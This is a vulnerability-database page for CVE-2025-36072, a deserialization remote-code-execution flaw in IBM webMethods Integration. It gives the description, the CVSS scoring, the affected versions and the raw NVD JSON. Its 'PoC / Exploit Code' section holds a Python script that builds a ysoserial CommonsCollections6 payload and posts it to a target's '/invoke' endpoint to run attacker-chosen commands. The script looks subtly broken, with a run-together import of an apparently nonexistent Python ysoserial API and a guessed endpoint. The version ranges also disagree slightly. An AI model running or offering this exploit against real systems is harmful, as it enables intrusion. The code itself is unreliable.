Security Vulnerability Report
中文
CVE-2025-36072 CVSS 8.8 HIGH

CVE-2025-36072

Published: 2025-11-20 23:15:52
Last Modified: 2025-12-15 14:44:46

Description

IBM webMethods Integration 10.11 through 10.11_Core_Fix22, 10.15 through 10.15_Core_Fix22, and 11.1 through 11.1_Core_Fix6 IBM webMethods Integration allow an authenticated user to execute arbitrary code on the system, caused by the deserialization of untrusted object graphs data.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ibm:webmethods_integration:10.11:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:webmethods_integration:10.11:core_fix22:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:webmethods_integration:10.15:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:webmethods_integration:10.15:core_fix22:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:webmethods_integration:11.1:-:*:*:*:*:*:* - VULNERABLE
IBM webMethods Integration 10.11 < 10.11_Core_Fix22
IBM webMethods Integration 10.15 < 10.15_Core_Fix22
IBM webMethods Integration 11.1 < 11.1_Core_Fix6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys fromysoserial import GeneratePayload # CVE-2025-36072 PoC - IBM webMethods Integration RCE via Deserialization # Target: IBM webMethods Integration versions 10.11-10.11_Core_Fix22, 10.15-10.15_Core_Fix22, 11.1-11.1_Core_Fix6 def generate_payload(command): """Generate malicious serialized payload using ysoserial""" try: # Generate CommonsCollections6 gadget chain payload payload = GeneratePayload('CommonsCollections6', command) return payload.getObject() except Exception as e: print(f"[-] Error generating payload: {e}") return None def exploit(target_url, command): """Send malicious payload to vulnerable endpoint""" # Generate payload payload = generate_payload(command) if not payload: return False # Target endpoint (typical webMethods Integration API endpoint) endpoint = f"{target_url}/invoke" headers = { 'Content-Type': 'application/x-java-serialized-object', 'User-Agent': 'Mozilla/5.0' } try: print(f"[*] Sending payload to {endpoint}") response = requests.post(endpoint, data=payload, headers=headers, timeout=30) if response.status_code == 200: print("[+] Payload delivered successfully") return True else: print(f"[-] Unexpected response: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_url> <command>") print(f"Example: {sys.argv[0]} http://target.com:5555 'whoami'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] exploit(target, cmd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36072", "sourceIdentifier": "[email protected]", "published": "2025-11-20T23:15:51.527", "lastModified": "2025-12-15T14:44:46.233", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM webMethods Integration 10.11 through 10.11_Core_Fix22, 10.15 through 10.15_Core_Fix22, and 11.1 through 11.1_Core_Fix6 IBM webMethods Integration allow an authenticated user to execute arbitrary code on the system, caused by the deserialization of untrusted object graphs data."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:webmethods_integration:10.11:-:*:*:*:*:*:*", "matchCriteriaId": "705ABF70-9799-4508-B5E3-FF79F52128A8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:webmethods_integration:10.11:core_fix22:*:*:*:*:*:*", "matchCriteriaId": "E47E9127-AC54-46D1-9A04-ABC9A5A06F98"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:webmethods_integration:10.15:-:*:*:*:*:*:*", "matchCriteriaId": "140D0B47-6681-4DDC-8749-612EBCC03B0D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:webmethods_integration:10.15:core_fix22:*:*:*:*:*:*", "matchCriteriaId": "D0048151-1853-457A-9205-8B8F8DF406DC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:webmethods_integration:11.1:-:*:*:*:*:*:*", "matchCriteriaId": "FE608B0D-C408-46AE-B3BC-94972F6D9EFE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:webmethods_integration:11.1:core_fix6:*:*:*:*:*:*", "matchCriteriaId": "9FF31F78-C831-4A0D-A6AD-BF402A88A7DA"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7252090", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}